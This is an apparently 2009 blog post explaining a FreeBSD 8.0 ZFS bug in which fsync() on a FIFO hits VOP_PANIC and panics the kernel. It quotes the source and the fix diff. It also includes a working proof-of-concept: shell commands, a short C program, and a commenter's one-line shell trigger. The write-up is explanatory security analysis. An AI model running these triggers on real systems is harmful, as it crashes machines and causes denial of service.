FreeBSD ZFS fsync() on FIFO Kernel Panic
This is a really funny bug I just saw in freebsd-bugs mailing list. The bug was discovered by Dominik Ernst as you can read in the original report and it affects 8.0-RELEASE and probably earlier releases too. The bug is extremely easy to spot and trigger, let’s have a quick look at cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vnops.c where some ZFS operations reside…
struct vop_vector zfs_fifoops = {
.vop_default = &fifo_specops,
.vop_fsync = VOP_PANIC,
.vop_access = zfs_freebsd_access,
.vop_getattr = zfs_freebsd_getattr,
.vop_inactive = zfs_freebsd_inactive,
.vop_read = VOP_PANIC,
.vop_reclaim = zfs_freebsd_reclaim,
.vop_setattr = zfs_freebsd_setattr,
.vop_write = VOP_PANIC,
.vop_fid = zfs_freebsd_fid,
#ifdef notyet
.vop_getacl = zfs_freebsd_getacl,
.vop_setacl = zfs_freebsd_setacl,
.vop_aclcheck = zfs_freebsd_aclcheck,
#endif
};
As you can see, in the FIFO operations vector, the fsync operation is initialized with VOP_PANIC. This constant is defined in sys/vnode.h like this:
#define VOP_PANIC ((void*)(uintptr_t)vop_panic)
Which results in execution of the following code from kern/vfs_default.c
/*
* Helper function to panic on some bad VOPs in some filesystems.
*/
int
vop_panic(struct vop_generic_args *ap)
{
panic("filesystem goof: vop_panic[%s]", ap->a_desc->vdesc_name);
}
Which will of course cause a kernel panic. The fix was of course to update this FIFO operation by adding the equivalent routine to handle the fsync operation.
struct vop_vector zfs_fifoops = {
.vop_default = &fifo_specops,
- .vop_fsync = VOP_PANIC,
+ .vop_fsync = zfs_freebsd_fsync,
.vop_access = zfs_freebsd_access,
And the PoC trigger code was also quite simple, it first creates a FIFO on a ZFS filesystem using the following commands:
mkfifo /mnt/zfs/testpipe tail -f /mnt/zfs/testpipe &
And then simply compiles and executes the program below…
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
int main(void) {
char fifo[] = "/mnt/zfs/testpipe";
int fd;
fd = open(fifo, O_WRONLY);
if(fd < 0) {
perror("open");
return 1;
}
write(fd, "asdf\n", sizeof(char)*5);
fsync(fd);
close(fd);
return 0;
}
Which is a simple C program that opens the previously created FIFO and attempts to perform a dummy write operation and then call fsync() to it in order to trigger the execution of the buggy FIFO operation.

No C is needed, just `mkfifo /mnt/zfs/x;echo x>/mnt/zfs/x&fsync /mnt/zfs/x`
Hunger
December 14, 2009 at 18:05